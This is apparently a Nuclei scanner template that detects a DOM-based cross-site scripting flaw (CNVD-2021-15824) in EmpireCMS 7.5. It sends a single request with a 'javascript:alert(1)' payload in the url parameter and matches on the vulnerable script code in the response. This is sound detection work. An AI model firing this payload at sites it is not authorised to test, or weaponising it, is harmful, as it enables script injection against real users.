id: CNVD-2021-15824

info:
  name: EmpireCMS 7.5 - Cross-Site Scripting
  author: daffainfo,pikpikcu
  severity: high
  description: EmpireCMS is vulnerable to a DOM based cross-site scripting attack.
  reference:
    - https://sourceforge.net/projects/empirecms/
    - https://www.bilibili.com/read/cv10441910
    - https://vul.wangan.com/a/CNVD-2021-15824
    - https://github.com/leadscloud/EmpireCMS/issues/4
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: cnvd2021,cnvd,empirecms,xss,domxss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/e/ViewImg/index.html?url=javascript:alert(1)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'if(Request("url")!=0)'
          - 'href=\""+Request("url")+"\"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008fc28d43515f5f233e7264619ecbf911f7c7861ea29c4a9854c3b88d9a864cd102200f8d386550101090bf31178d475bed0249459fd69e47826d45f84ed19e494789:922c64590222798bb761d5b6d8e72950